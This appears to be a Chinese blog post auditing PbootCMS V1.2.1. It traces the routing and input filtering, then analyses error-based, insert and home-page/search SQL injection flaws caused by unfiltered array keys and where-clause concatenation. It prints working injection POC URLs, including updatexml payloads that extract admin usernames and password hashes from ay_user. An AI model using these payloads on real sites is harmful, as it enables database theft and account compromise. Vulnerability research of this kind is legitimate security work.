PbootCMS代码审计

PbootCMS安装

我们将站点文件解压到www目录下,在phpstudy里添加相应站点,最后访问站点即可,不过这里出现了问题,这里我们需要打开站点对应版本的php.ini,将sqlite3扩展前面的注释取消即可

1658281326548

我们这里的版本是php5.5,修改代码如下

1658281446429

接着我们可以正常访问网站首页

1658282048554

不过这里我们还是使用mysql进行测试,首先我们需要新建一个数据库pbootcms,接着在网站的static\backup\sql目录下有一个sql文件,我们在刚创建的数据库里导入,最终数据库情况如下

1658282633322

数据库处理完毕之后我们还需要在在代码中配置数据库信息

1658282752188

在代码审计之前我们还需要熟悉一下站点的目录结构

PbootCMS-V1.2.1
├─ apps         应用程序
│  ├─ admin     后台模块
│  ├─ api       api模块
│  ├─ common    公共模块
│  ├─ home      前台模块
├─ config       配置文件
│  ├─ config.php    配置文件
│  ├─ database.php  数据库配置文件
│  ├─ route.php     用户自定义路由规则
├─ core         框架核心
│  ├─ function  框架公共函数库
│  │  ├─ handle.php 助手函数库1
│  │  ├─ helper.php 助手函数库2
├─ template     html模板
├─ admin.php    管理端入口文件
├─ api.php      api入口文件
├─ index.php    前端入口文件

熟悉mvc框架比较重要的是熟悉其路由方式

pbootcms.com\apps\common\route.php目录下,我们可以自定义路由

1658283581555

其中的home在根目录下的index文件中进行了绑定,当我们访问index.php时就会访问home目录

1658283643934

同样的admin也在根目录下的admin.php文件中进行了绑定

1658283696161

这里我们拿到一个前端页面的url进行分析,站点的联系我们页面http://pbootcms.com/index.php/about/11,这里的about调用的路径如下,其中scode是传递的参数

1658283928045

我们也可以在AboutController.php中自定义方法

1658284251574

接着我们添加路由,让我们在前台可以调用该方法,这里我们不传递参数所以就没有写scode

1658284417668

接着而我们在前台进行访问,成功输出AboutController

1658284509017

刚才我们使用的是自定义路由的方式,还有一种路由方式,我们在路由文件中可以看到,有些路径没有再路由文件中添加路由

1658284703104

我们可以看到,message没有再前端路由中添加,为了测试我们就在MessageController.php中写一个自定义函数

1658284847785

然后我们在前端页面中访问http://pbootcms.com/index.php/Message/test2,这种方式为动态路由

1658284935885

PbootCMS内核分析

我们方便测试,我们在数据库中新建一个表

1658287695856

在表内添加数据

1658287728909

接下来我们就测试一下对数据库的增删改查,我们还是在MessageController中进行测试

在进行数据库操作之前我们还需要了解一些参数的函数,最基本的接收参数传递方法($_GET等)不安全,基本都不使用,这里使用框架中的参数传递方法

1658310568936

接着我们在前端访问message的test2方法并传递参数,查看结果

1658310663495

接着我们尝试传递特殊字符,通过返回的结果我们可以知道,框架中自带的参数传递的方法已经把特殊字符过滤了

1658310802472

我们继续对这些接收参数的函数进行测试,这次我们尝试传递数组,很多框架会过滤数组的value值,但是key值可能会被忽略,所以这里我们传递参数的是,在key和value中分别带入特殊字符,我们可以看到,在key中的特殊字符没有进行过滤,原原本本输出了出来,但是value中的值是已经被过滤的

1658311032134

接着我们针对get、post、request三个方法进行分析,我们在这三个接收参数的位置下断点

1658315242576

重新发送我们刚才的测试请求包,在get处断了下来,我们F7进入函数,内容如下,首先是一个condition的数组,接着在返回的位置执行了filter函数,我们继续跟进分析

1658315634935

filter具体的函数内容过于冗长,就不再这里展示了,经过我们的分析得知

1658318841802

接着我们同样的对post方法进行分析,其过滤流程和get方法完全一样只是接收参数额方法使用的是$_POST,request也是一样。

PbootCMS数据库的增删改查

pbootcms下的数据库操作方法都是在model下的ParserModel.php文件中

1658319671484

查询

我们在这个文件中添加一个新的方法来辅助我们进行测试,该方法用来获取用户的数据

1658321463807

接着我们在Message的控制调用该函数

1658321568355

我们在前端页面进行访问http://pbootcms.com/index.php/message/test2?id=1,成功查询到用户数据

1658321783579

增加

增加的操作,我们使用同样的方法在ParserModel中编写代码

1658322164316

接着我们继续在message控制器中接收前端传递的参数

1658322500575

在数据库中我们可以看到数据已经插入成功

1658322540527

修改

基本操作都是一样的,在修改用户的时候需要传递两个参数,一个是用来做条件的id,一个是更新的数据

1658322757273

继续在控制器中接收参数并执行修改用户的方法

1658322965586

在前端传递相应的参数,页面中显示的结果为修改数据成功

1658322904904

在数据库中我们查看id为4的数据,就是我们之前插入的数据,现在已经被修改

1658323019436

删除

首先还是编写相应的方法来操作数据库

1658323178672

接收参数的代码

1658323251451

前端传递需要删除用的id

1658323360824

查看数据库,id对应的用户已经被删除

1658323390350

分析数据库查询操作

这里我们首先下断跟踪分析查询数据库的操作,我们在控制器中编写查询数据的代码并下断点

1658323700361

接着前端传入数据,在断点位置我们F7进入,可以看到进入到了我们之前编写的查询操作的方法中

1658323906309

这里执行的基本操作流程如下

1658369125020

分析数据库插入操作

1658385982889

报错payload

数据库操作的代码中存在漏洞,导致我们可以进行报错注入,首先我们在控制器中编写如下代码

$id = get('id');
var_dump($id);
$result = $this->model->getUser($id);
var_dump($result);

接着我们在前端进行测试,当我们输入?id=1 and 1 时,数据同样被查询出来并且没有被过滤

1658386690767

接着我们尝试使用如下payload让其报错

http://pbootcms.com/index.php/message/test2?id=1) and updatexupdatexmlml(1,conconcatcat(0x70x7ee,(SELECT user()),0x70x7ee),1);%23%23%23

1658386955419

Insert注入漏洞

insert注入漏洞一般就发生在前端向后端发送数据并向数据库中插入数据的情况下,这里我们我们就在页面中的留言部分进行测试,在测试之前我们首先把验证码的部分注释掉,方便我们后续测试

1658388362661

接着我们前端在留言界面传输传输数据,使用burp拦截并打开调试

1658394190506

接着我们针对其插入数据的主要代码进行分析,首先我们遇到第一个需要主要分析的函数是addMessage,这个函数主要的功能就将数据插入到数据库中,我么F7进入这个函数

1658394423054

接着我们就可以看到其执行了数据库操作的代码,这里我们主要跟进insert函数

1658394456264

进入insert之后的部分代码我么之前已经分析过,这个地方是判断我们传输的数据是否是单条数据,如果$data的数据中还包含了数组,那么就会判定为多条数据

1658395222357

其中我们传递的数据在$data中的表现形式如下

{"contacts":"test","mobile":"test","content":"test","acode":"cn","user_ip":2130706433,"user_os":"Windows7","user_bs":"Chrome","recontent":"","status":0,"create_user":"guest","update_user":"guest"}

如果我们在前端传递数组形式的数据

1658396727046

我么再后端接收到的数据内容如下,是以数组的形式存在

1658396709476

在insert函数中,有这一段代码,我们自定义的keycont','create_teim--a;l拼接到了$key_string变量中

1658397386929

接着$key_string又和其他时间参数拼接到了一起

1658397633231

接着将带有可控key的变量被赋值给了$this->sql['field']

1658397709298

最终会在这里执行我们刚才拼接过带有我们自定义key的语句

1658404206761

1658404217118

接着在buildSql中将%field%替换为,$this->sql['field'],最终导致了sql注入。

1658404743504

首页注入漏洞

在将注入漏洞之前我们首先分析一下后台的加密过程,我们在后台页面进行登录并抓包,在这里我们可以看到其提交到的地址为admin.php/index/login

1658405016938

我们在代码中定位到登录函数所在地

1658405116458

在login函数的这一样代码中我们找到了加密函数

1658405246104

我们进入加密函数可以看到,对传入的密码进行了两次md5加密

1658405284544

接着我们就开始进行首页注入漏洞的分析,这里我们首先输入测试代码

1658407299049

这里有一个关键点,那就是第一个等号一定要进行url编码

1658406143187

接着进入到parserAfter方法中进行分析,找到指定列表这一行

1658406199635

在该方法中,判断了$_GET请求的参数中,如果有数组的key开头为"ext_",就在where中添加以该key为键get(key)的值得数据,这里会存在一个问题,当我们输入的值得第一个等号不是url编码,那么会造成key:ext_price,value:123123=123123,当我们第一个等号使用了url编码,key:ext_price=123123,value:123123

1658406298699

1658407470835

接着在这行代码调用where2参数,我们就跟进进行分析

1658407596554

在这个函数的执行流程中,知道最后才调用了我们之前传递的参数where2,在这个函数中是where

1658407696584

接着F7跟进,直到进入到第三个where方法中,可以看到where参数是我们前端传递的值,这里我们之前分析过,where中没有进行任何过滤,直接进行了sql语句的拼接

1658407914024

在这一段代码中,将我们传入的数据进行拼接

1658408027108

where语句拼凑到最后如下

1658408159906

到最后sql语句如下,其中包含我们前端传递进入的代码

1658408282120

SELECT  a.*,b.name as sortname,b.filename as sortfilename,c.name as subsortname,c.filename as subfilename,d.type,e.* FROM ay_content a  LEFT JOIN ay_content_sort b ON a.scode=b.scode LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_content_ext e ON a.id=e.contentid WHERE(a.scode in ('5','6','7') OR a.subscode='5') AND(a.acode='cn' AND a.status=1 AND d.type=2) AND(ext_price=123123 like '%123123%' )   ORDER BY date DESC,sorting ASC,id DESC LIMIT 4 

最后我们使用构造过的POC进行验证,即可完成注入

http://pbootcms.com/index.php?ext_price%3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,substr(password,15,20),0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123123

1658408493177

这里我我们还需要注意,查询到的加密密码只有20位,还需要获得20到32位的值,执行如下POC

http://pbootcms.com/index.php?ext_price%3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,substr(password,20,32),0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123123

1658408690061

最终我们分析,造成注入的根本原因还是我们之前已经分析过的

1.数组的key没有进行过滤

2.where函数进行sql语句拼接的时候没有进行过滤

搜索注入漏洞

首先我们访问http://pbootcms.com/index.php/Search进入到搜索页面

1658408877193

接下来我们就定位代码所在的位置

1658408959499

在搜索结果标签那一行代码进行下断,然后进行F7跟进,最开始的代码中先获取了keyword的值

1658409460169

我么又找到get方法接收前端参数的代码,看到如下代码我们已经很熟悉了,又是将key放入到where2中

1658409569570

剩下的代码分析就和上一个漏洞分析思路已经是一样了

最后修改:2022 年 11 月 11 日
如果觉得我的文章对你有用,请随意赞赏